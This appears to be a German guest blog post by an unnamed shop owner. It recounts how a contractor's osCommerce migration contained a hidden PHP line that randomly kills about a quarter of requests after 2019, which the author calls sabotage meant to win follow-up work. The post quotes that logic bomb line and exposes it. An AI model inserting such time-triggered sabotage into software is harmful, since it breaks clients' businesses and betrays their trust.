Ein Gastbeitrag einer Firma, welche hier nicht genannt werden will.
Wissen Sie was diese eine Zeile PHP-Code bewirkt?
if (date(‘Y’)>’2019’ && rand(0,3)==0) die;
Wir kommen gleich darauf.
Sechzehn Jahre lang haben wir einen Online-Shop betrieben. Diese beruhte auf der weit verbreiteten freien Software osCommerce, und hat sehr gut funktioniert.
Leider wurde diese Software nicht mehr weiterentwickelt, und da unser Internet-Provider die älteren PHP-Versionen nicht mehr unterstützte, gab es mit der Zeit einige Probleme. Einige konnten gelöst werden – aber es war klar: es musste eine neue Software her.
Da kam uns das Angebot einer Schweizer Firma gerade recht, unseren Shop auf eine moderne Software zu migrieren. Dazu sollten auch alle Daten übernommen werden, also Kundendaten, Artikeldaten und so fort.
Wir haben das Angebot angenommen, und die Implementation begann.
Zu Beginn sah alles auch recht gut aus – obwohl längst nicht alle zugesagten Datenübernahmen durchgeführt wurden, und wir manuell sehr viel nacherfassen mussten.
Trotzdem, es hat funktioniert.
Etwas komisch war allerdings, dass die Fusszeile, welche wir auf unsere Firma änderten, immer wieder durch den Link und der Firmenname der Firma zurück geändert wurde, welche die Implementation für uns durchführte.
Schlussendlich fanden wir einen Code, welcher die Fusszeile vom Server dieser Firma herunter kopierte, und unsere Änderungen überschrieb.
OK, kann ja mal passieren, dass ein Code für Debug-Zwecke nicht entfernt wurde. Wir haben dies dann selbst korrigiert, war auch keine grosse Sache.
Aber dann, Anfang Januar 2020, funktionierte unser Shop nicht mehr. Immer wieder stützte es ab.
Kunden konnten keine Bestellung mehr aufgeben!
Tagelang suchten wir nach eventuellen Änderungen, haben auch Backups zurückgespielt – alles ohne Ergebnisse: die Software stürzte einfach immer ab!
In unserer Verzweiflung wandten wir uns an einen Programmierer in Rumänien. Er sagte sofort zu, uns bei der Problembewältigung zu helfen, er brauche dazu das Passwort für den admin.
Nun, viel zu verlieren hatten wir nicht mehr. Wir stimmten zu und gaben das Login für den Administrator preis.
In den darauffolgenden zwei Tagen war unser Shop kaum mehr zu erkennen – lauter Debug-Codes erschienen auf der Seite. Hatten wir uns hier auf einen Hacker eingelassen?
Nach zwei Tagen lief unser Shop aber wieder einwandfrei. Und jetzt kommt das Erstaunliche:
Der rumänische Programmierer fand folgende Zeile im Code:
if (date(‘Y’)>’2019’ && rand(0,3)==0) die;
Was bewirkt dieses?
Eigentlich ganz einfach:
Es wird bei jeder Benutzer-Interaktion (also bei einem Klick auf der Seite) eine Zufallszahl zwischen 0 und 3 erzeugt. Ist das Jahr grösser als 2019 und die Zufallszahl «0», wird der Prozess gelöscht (gekillt).
Nach Beseitigung dieser einen Zeile funktioniert unser Shop wieder einwandfrei.
So viel zu Schweizer Firmen. Es ging denen nur um einen Folgeauftrag!
Mit diesem rumänischen Programmierer haben wir seitdem mehrere Projekte erfolgreich durchgezogen und sind sehr zufrieden!
Wie immer könnt ihr diesen Artikel direkt kommentieren, oder ein e-Mail an redaktion@luessi.ch senden.